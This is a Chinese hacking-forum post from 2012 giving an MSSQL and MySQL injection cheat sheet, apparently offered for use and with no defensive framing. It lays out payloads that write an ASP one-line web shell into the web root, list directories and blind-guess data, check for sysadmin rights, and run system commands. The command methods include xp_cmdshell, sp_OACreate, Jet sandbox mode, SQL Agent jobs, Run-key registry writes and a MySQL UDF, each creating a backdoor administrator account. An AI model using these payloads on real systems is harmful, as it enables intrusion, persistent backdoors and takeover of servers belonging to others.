找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2969|回复: 0
打印 上一主题 下一主题

mssql实用命令及导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:49:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MSSQL语句导出一句话木马
$ N2 P, v# K: O: m2 O首先确定网站的WEB路径$ g2 B! o5 s3 G* l! a, G5 J
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马1 K+ e0 {- U6 I" Q8 v' p  w' m2 m, _2 J

& }! `" l) I- T' N6 [9 Z/ K;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- 6 I* g4 f/ r9 d+ @- |4 P- @
//将一句话木马插入表中2 a" J' p" J/ o4 f9 H5 [
1 S3 O$ }- }7 u+ R: _( e
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- * \9 p- b3 P8 j4 H
//导出一个ASP文件1 v* s* F- Y* o8 e" j- z4 v; K
- M0 |3 I. }- M
8 |; T( Z) E) |* z( K
关于MSSQL列目录7 }, w1 h% G# X9 Y7 Z7 \) \+ e/ E
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
/ X! v8 |; x/ I* C1 sInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表7 w/ F6 M$ B" b$ W. K
( j8 N( v# c( ]& q2 w7 j
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
; u* Y' B5 ^  J4 ~9 A. |' c: e2 l3 g( c
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段/ |- m! o1 H  W+ p
, @. o/ |. I3 m- |5 e
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
! y$ E9 G' b" s& o3 z7 O8 I9 M  D: r5 P( }
2 s, e1 u3 X  K8 H# F% k
数据库版本和权限查看: V. H5 K6 m/ T0 d
and 1=(select @@VERSION) //查看详细的数据库信息.% `9 G8 R) p+ {& K) Q( U& n0 p
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
. Y0 l( Y# |; Uand 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
- X  L1 C& X4 F( P  ^9 h& v; I+ }6 V3 q; h% f8 u2 h

, k% [( c/ F5 G  B1.利用xp_cmdshell执行命令+ E( k9 R+ j! v( Q( y# }: |
exec master..xp_cmdshell 'net user rfire 123456 /add'+ R# l+ ~2 l2 [
exec master..xp_cmdshell 'net localgroup administrators rfire /add'7 B% N1 V4 ?, D8 p$ i' i1 Q3 p% T
6 Z2 T, B$ @# T9 f/ }
恢复xp_cmdshell存储过程- \; o7 r1 Q7 o' `) D
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
# S$ s. n: W( H  g) z
; }0 g; N" Y6 E4 U( q+ T) v- v" Q# V3 u% [- n, d0 F* ^
2.利用SP_OAcreate和SP_OAMETHOD执行命令
9 k6 C, ?. a  p: [0 h! z. F! s在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下$ c" B1 J+ S+ L2 l( M% ^/ ~" `
DECLARE @shell INT //建立一个@shell实体
4 o) z0 z; y9 R6 HEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例( c. p1 n% F& n
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
# _& R! E' c7 F9 `
6 J' J" @& h2 X* m% R' ?8 W9 s( D: v9 E0 a0 A  N
3.利用沙盒模式
9 q$ I. N& N0 D2 q, {; G& Z先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
7 r* G! x9 T) V0 n开启沙盒模式:5 t( `/ {: h. H& ]( F4 w5 r
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',07 _9 X  ?: v% u7 E" e

5 v4 s  P% d& B7 Z6 Z执行命令:: Q9 d8 ]! H$ ~- U) Z- K
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
2 k" }  X& g' d9 I9 \3 ]
7 n- m  _% Z3 w
% D) s9 K; P6 v2 q4.利用SQL代理执行命令
/ g+ e" @2 v8 a" @EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
& H  w; C$ y. x1 @7 t5 P, I+ k: N1 D$ u/ x1 o$ V2 u+ D
执行命令:
5 D4 G) I8 v$ H. ?1 muse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
6 i) Y' `, h5 z, _  Z; H7 Gexec sp_add_job 'x'+ q4 v3 r7 i' o. R* o$ i
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业4 U/ h' U) }9 Y- C1 u; g
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业/ g1 ?. ]4 R! g1 X9 S3 j: t$ a
* T4 {7 p3 Z5 c1 g: }( q

& Q$ ?9 |1 R+ Y) X8 l% A1 `5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
4 m! E1 j- |- ?4 a# h, SEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'5 h- O: e9 q  ~6 Y/ F
$ j( h; m! A( I4 a2 C% J' |2 |3 D

/ D5 y' \! N' m1 E# N; I+ n1 T0 s/ i6.MYSQL的命令执行- Z4 u1 l0 f+ F" q3 }# e1 Q
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
' e' x4 `' O( p7 w3 T) ]# j2 [首先要在su.php下导出c:\windows\udf.dll0 b/ N; z" K/ |
导出后执行创建自定义函数命令:
9 U3 V' o7 Q" i9 {$ _6 iCreate Function cmdshell returns string soname 'udf.dll'
; z$ l" l8 B, a( a执行命令
: w" ]/ v. g1 u+ D5 w: S" D7 k1 P5 Nselect cmdshell('net user rfire 123456 /add')
6 ~" B/ ]; r* G: j5 |+ m6 t执行后删除函数 drop function cmdshell* G9 ~$ y, v2 _7 {1 y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表